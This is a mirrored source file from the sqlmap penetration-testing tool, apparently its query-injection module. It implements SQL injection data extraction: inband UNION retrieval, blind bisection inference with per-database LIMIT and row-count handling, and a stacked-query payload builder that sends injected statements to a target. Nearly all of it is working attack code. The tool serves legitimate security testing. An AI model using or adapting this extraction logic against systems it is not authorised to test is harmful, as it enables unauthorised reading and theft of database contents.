mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-25 11:03:47 +03:00
337 lines
12 KiB
Python
337 lines
12 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
$Id$
|
|
|
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
|
|
|
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
|
|
|
sqlmap is free software; you can redistribute it and/or modify it under
|
|
the terms of the GNU General Public License as published by the Free
|
|
Software Foundation version 2 of the License.
|
|
|
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
|
details.
|
|
|
|
You should have received a copy of the GNU General Public License along
|
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|
"""
|
|
|
|
|
|
|
|
import re
|
|
import time
|
|
|
|
from lib.core.agent import agent
|
|
from lib.core.common import cleanQuery
|
|
from lib.core.common import dataToSessionFile
|
|
from lib.core.common import expandAsteriskForColumns
|
|
from lib.core.common import parseUnionPage
|
|
from lib.core.common import readInput
|
|
from lib.core.common import replaceNewlineTabs
|
|
from lib.core.data import conf
|
|
from lib.core.data import kb
|
|
from lib.core.data import logger
|
|
from lib.core.data import queries
|
|
from lib.core.data import temp
|
|
from lib.core.settings import SECONDS
|
|
from lib.request.connect import Connect as Request
|
|
from lib.techniques.inband.union.use import unionUse
|
|
from lib.techniques.blind.inference import bisection
|
|
from lib.utils.resume import queryOutputLength
|
|
from lib.utils.resume import resume
|
|
|
|
|
|
def __goInference(payload, expression):
|
|
start = time.time()
|
|
|
|
if ( conf.eta or conf.threads > 1 ) and kb.dbms:
|
|
_, length, _ = queryOutputLength(expression, payload)
|
|
else:
|
|
length = None
|
|
|
|
dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression))
|
|
|
|
count, value = bisection(payload, expression, length=length)
|
|
duration = int(time.time() - start)
|
|
|
|
if conf.eta and length:
|
|
infoMsg = "retrieved: %s" % value
|
|
logger.info(infoMsg)
|
|
|
|
infoMsg = "performed %d queries in %d seconds" % (count, duration)
|
|
logger.info(infoMsg)
|
|
|
|
return value
|
|
|
|
|
|
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None):
|
|
outputs = []
|
|
|
|
for field in expressionFieldsList:
|
|
output = None
|
|
|
|
expressionReplaced = expression.replace(expressionFields, field, 1)
|
|
output = resume(expressionReplaced, payload)
|
|
|
|
if not output or ( expected == "int" and not output.isdigit() ):
|
|
if output:
|
|
warnMsg = "expected value type %s, resumed '%s', " % (expected, output)
|
|
warnMsg += "sqlmap is going to retrieve the value again"
|
|
logger.warn(warnMsg)
|
|
|
|
output = __goInference(payload, expressionReplaced)
|
|
|
|
outputs.append(output)
|
|
|
|
return outputs
|
|
|
|
|
|
def __goInferenceProxy(expression, fromUser=False, expected=None):
|
|
"""
|
|
Retrieve the output of a SQL query characted by character taking
|
|
advantage of an blind SQL injection vulnerability on the affected
|
|
parameter through a bisection algorithm.
|
|
"""
|
|
|
|
query = agent.prefixQuery(" %s" % temp.inference)
|
|
query = agent.postfixQuery(query)
|
|
payload = agent.payload(newValue=query)
|
|
count = None
|
|
startLimit = 0
|
|
stopLimit = None
|
|
outputs = []
|
|
test = None
|
|
untilLimitChar = None
|
|
untilOrderChar = None
|
|
|
|
output = resume(expression, payload)
|
|
|
|
if output and ( expected == None or ( expected == "int" and output.isdigit() ) ):
|
|
return output
|
|
|
|
if kb.dbmsDetected:
|
|
_, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
|
|
|
|
if len(expressionFieldsList) > 1:
|
|
infoMsg = "the SQL query provided has more than a field. "
|
|
infoMsg += "sqlmap will now unpack it into distinct queries "
|
|
infoMsg += "to be able to retrieve the output even if we "
|
|
infoMsg += "are going blind"
|
|
logger.info(infoMsg)
|
|
|
|
# If we have been here from SQL query/shell we have to check if
|
|
# the SQL query might return multiple entries and in such case
|
|
# forge the SQL limiting the query output one entry per time
|
|
# NOTE: I assume that only queries that get data from a table
|
|
# can return multiple entries
|
|
if fromUser and " FROM " in expression:
|
|
limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)
|
|
|
|
if limitRegExp:
|
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
|
limitGroupStart = queries[kb.dbms].limitgroupstart
|
|
limitGroupStop = queries[kb.dbms].limitgroupstop
|
|
|
|
if limitGroupStart.isdigit():
|
|
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
|
|
|
stopLimit = limitRegExp.group(int(limitGroupStop))
|
|
limitCond = int(stopLimit) > 1
|
|
|
|
elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ):
|
|
limitCond = False
|
|
else:
|
|
limitCond = True
|
|
|
|
# I assume that only queries NOT containing a "LIMIT #, 1"
|
|
# (or similar depending on the back-end DBMS) can return
|
|
# multiple entries
|
|
if limitCond:
|
|
if limitRegExp:
|
|
stopLimit = int(stopLimit)
|
|
|
|
# From now on we need only the expression until the " LIMIT "
|
|
# (or similar, depending on the back-end DBMS) word
|
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
|
stopLimit += startLimit
|
|
untilLimitChar = expression.index(queries[kb.dbms].limitstring)
|
|
expression = expression[:untilLimitChar]
|
|
|
|
if not stopLimit or stopLimit <= 1:
|
|
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
|
|
test = "n"
|
|
else:
|
|
message = "can the SQL query provided return "
|
|
message += "multiple entries? [Y/n] "
|
|
test = readInput(message, default="Y")
|
|
|
|
if not test or test[0] in ("y", "Y"):
|
|
# Count the number of SQL query entries output
|
|
countFirstField = queries[kb.dbms].count % expressionFieldsList[0]
|
|
countedExpression = expression.replace(expressionFields, countFirstField, 1)
|
|
|
|
if re.search(" ORDER BY ", expression, re.I):
|
|
untilOrderChar = countedExpression.index(" ORDER BY ")
|
|
countedExpression = countedExpression[:untilOrderChar]
|
|
|
|
count = resume(countedExpression, payload)
|
|
|
|
if not stopLimit:
|
|
if not count or not count.isdigit():
|
|
count = __goInference(payload, countedExpression)
|
|
|
|
if count and count.isdigit() and int(count) > 0:
|
|
count = int(count)
|
|
|
|
message = "the SQL query provided can return "
|
|
message += "up to %d entries. How many " % count
|
|
message += "entries do you want to retrieve?\n"
|
|
message += "[a] All (default)\n[#] Specific number\n"
|
|
message += "[q] Quit\nChoice: "
|
|
test = readInput(message, default="a")
|
|
|
|
if not test or test[0] in ("a", "A"):
|
|
stopLimit = count
|
|
|
|
elif test[0] in ("q", "Q"):
|
|
return "Quit"
|
|
|
|
elif test.isdigit() and int(test) > 0 and int(test) <= count:
|
|
stopLimit = int(test)
|
|
|
|
infoMsg = "sqlmap is now going to retrieve the "
|
|
infoMsg += "first %d query output entries" % stopLimit
|
|
logger.info(infoMsg)
|
|
|
|
elif test[0] in ("#", "s", "S"):
|
|
message = "How many? "
|
|
stopLimit = readInput(message, default="10")
|
|
|
|
if not stopLimit.isdigit():
|
|
errMsg = "Invalid choice"
|
|
logger.error(errMsg)
|
|
|
|
return None
|
|
|
|
else:
|
|
stopLimit = int(stopLimit)
|
|
|
|
else:
|
|
errMsg = "Invalid choice"
|
|
logger.error(errMsg)
|
|
|
|
return None
|
|
|
|
elif ( not count or int(count) == 0 ):
|
|
warnMsg = "the SQL query provided does not "
|
|
warnMsg += "return any output"
|
|
logger.warn(warnMsg)
|
|
|
|
return None
|
|
|
|
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
|
|
warnMsg = "the SQL query provided does not "
|
|
warnMsg += "return any output"
|
|
logger.warn(warnMsg)
|
|
|
|
return None
|
|
|
|
for num in xrange(startLimit, stopLimit):
|
|
limitedExpr = agent.limitQuery(num, expression, expressionFieldsList)
|
|
|
|
output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload, expected)
|
|
outputs.append(output)
|
|
|
|
return outputs
|
|
|
|
elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression:
|
|
expression = "%s FROM DUAL" % expression
|
|
|
|
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected)
|
|
|
|
returnValue = ", ".join([output for output in outputs])
|
|
|
|
else:
|
|
returnValue = __goInference(payload, expression)
|
|
|
|
return returnValue
|
|
|
|
|
|
def __goInband(expression, expected=None):
|
|
"""
|
|
Retrieve the output of a SQL query taking advantage of an inband SQL
|
|
injection vulnerability on the affected parameter.
|
|
"""
|
|
|
|
output = None
|
|
partial = False
|
|
data = []
|
|
|
|
condition = (
|
|
kb.resumedQueries and conf.url in kb.resumedQueries.keys()
|
|
and expression in kb.resumedQueries[conf.url].keys()
|
|
)
|
|
|
|
if condition:
|
|
output = resume(expression, None)
|
|
|
|
if not output or ( expected == "int" and not output.isdigit() ):
|
|
partial = True
|
|
|
|
if not output:
|
|
output = unionUse(expression, resetCounter=True)
|
|
|
|
if output:
|
|
data = parseUnionPage(output, expression, partial, condition)
|
|
|
|
return data
|
|
|
|
|
|
def getValue(expression, blind=True, inband=True, fromUser=False, expected=None):
|
|
"""
|
|
Called each time sqlmap inject a SQL query on the SQL injection
|
|
affected parameter. It can call a function to retrieve the output
|
|
through inband SQL injection (if selected) and/or blind SQL injection
|
|
(if selected).
|
|
"""
|
|
|
|
expression = cleanQuery(expression)
|
|
expression = expandAsteriskForColumns(expression)
|
|
value = None
|
|
|
|
if inband and conf.unionUse and kb.dbms:
|
|
value = __goInband(expression, expected)
|
|
|
|
if not value:
|
|
warnMsg = "for some reasons it was not possible to retrieve "
|
|
warnMsg += "the query output through inband SQL injection "
|
|
warnMsg += "technique, sqlmap is going blind"
|
|
logger.warn(warnMsg)
|
|
|
|
conf.paramNegative = False
|
|
|
|
if blind and not value:
|
|
value = __goInferenceProxy(expression, fromUser, expected)
|
|
|
|
return value
|
|
|
|
|
|
def goStacked(expression):
|
|
"""
|
|
TODO: write description
|
|
"""
|
|
|
|
comment = queries[kb.dbms].comment
|
|
query = agent.prefixQuery("; %s" % expression)
|
|
query = agent.postfixQuery("%s;%s" % (query, comment))
|
|
payload = agent.payload(newValue=query)
|
|
page = Request.queryPage(payload, content=True)
|
|
|
|
return payload, page
|